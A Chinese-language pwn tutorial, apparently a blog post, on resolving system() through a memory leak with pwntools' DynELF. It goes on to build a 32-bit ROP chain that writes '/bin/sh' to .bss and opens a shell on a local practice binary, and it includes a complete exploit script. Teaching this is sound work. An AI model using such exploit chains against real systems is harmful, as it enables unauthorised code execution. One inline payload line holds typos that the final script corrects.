Memory Leak & DynELF

很多情况下,我们无法获得目标程序的libc,因此无法通过ret2libc的方式得到system函数的地址,这种情况下,我们可以通过内存泄漏的方式,在内存中搜索system函数地址,这种方式同样可以绕过ASLR保护,pwntools提供了DynELF模块 , 学习过程中推荐手动实现一遍leak的利用 ,然后再用DynELF模块 , 两种有些许不同

3 官方文档中解释:Resolve symbols in loaded, dynamically-linked ELF binaries. Given a function which can leak data at an arbitrary address, any symbol in any loaded library can be resolved.

首先我们需要实现一个leak(address)函数,通过这个函数可以获取到某个地址上最少1 byte的数据。

32位环境下 leak()函数模版:

def leak(address):
    payload1 = 'a'*(溢出偏移量) + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4)
    p.send(payload1)
    data = p.recv(4)
    print "%#x => %s" % (address, (data or '').encode('hex'))
    return data

参考蒸米的一步一步学rop_x86 中level2程序

溢出偏移量为140,因此我们可以构造leak函数:

    def leak(address):
        payload1='a'*140+p32(write_plt)+p32(vuln)+p32(1)+p32(address)+p32(4)
        p.send(payload1)
        data=p.recv(4)
        print "%#x => %s"%(address,(data or ' ').encode('hex'))
        return data

随后将这个函数作为参数再调用d = DynELF(leak, elf=ELF('./level2'))就可以对DynELF模块进行初始化了。然后可以通过调用system_addr = d.lookup('system', 'libc')来得到libc.so中system()在内存中的地址。要注意的是,通过DynELF模块只能获取到system()在内存中的地址,但无法获取字符串“/bin/sh”在内存中的地址。所以我们在payload中需要调用read()将“/bin/sh”这字符串写入到程序的.bss段中。,bss段可读可写,可以在ida主界面,按下shift+F7,查看各段地址。

.bss 0804A018 0804A020 R W . . L dword 000E public BSS 32 FFFFFFFF FFFFFFFF 000D FFFFFFFF FFFFFFFF

因此bss_addr=0x0804a018。

因为我们,调用完read函数,就需要调用system函数,但read函数有三个参数,所以我们需要一个pop pop pop ret的gadget用来保证栈平衡。用ROPgadget可以找到。(32位系统特性 , 调用函数 栈传参)

pwnuser@ubuntu:~/pwn_test$ ROPgadget --binary level2 --only 'pop|ret'
Gadgets information
============================================================
0x080483d3 : pop ebp ; ret
0x080483d2 : pop ebx ; pop ebp ; ret
0x080484bc : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080482fc : pop ebx ; ret
0x080484be : pop edi ; pop ebp ; ret
0x080484bd : pop esi ; pop edi ; pop ebp ; ret
0x080482db : ret
Unique gadgets found: 7

很容易就找到一条符合的gadget,pppr=0x080484bd 因此,第二个payload可以构造为

payload2=‘a’*140+p32(read)+p32(pppr)+p32(1)+p32(bbs)+p32(4)+p32(system)+p32(bss)

这样read函数执行标准输入,我们再发送一个'/bin/sh'就可以将可以将其写入bss段首地址。

EXP :

    from pwn import *
    elf = ELF('./level2')
    write_plt = elf.symbols['write']
    read_plt = elf.symbols['read']
    pppr = 0x080484bd
    vuln_addr=0x08048404
    bss_addr = 0x0804a018
    def leak(address):
        payload1 = 'a'*140 + p32(write_plt) + p32(vuln_addr) + p32(1) +p32(address) + p32(4)
        p.send(payload1)
        data = p.recv(4)
        print "%#x => %s" % (address, (data or '').encode('hex'))
        return data
    p = process('./level2')
    d = DynELF(leak,elf=ELF('./level2'))
    system_addr = d.lookup('system', 'libc')
    print "system_addr=" + hex(system_addr)
    payload2 = 'a'*140  + p32(read_plt) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8)+p32(system_addr) + p32(vuln_addr) + p32(bss_addr)
    print "\n###sending payload2 ...###"
    p.send(payload2)
    p.send('/bin/sh\0')
    p.interactive()

你可能感兴趣的:(Memory Leak & DynELF)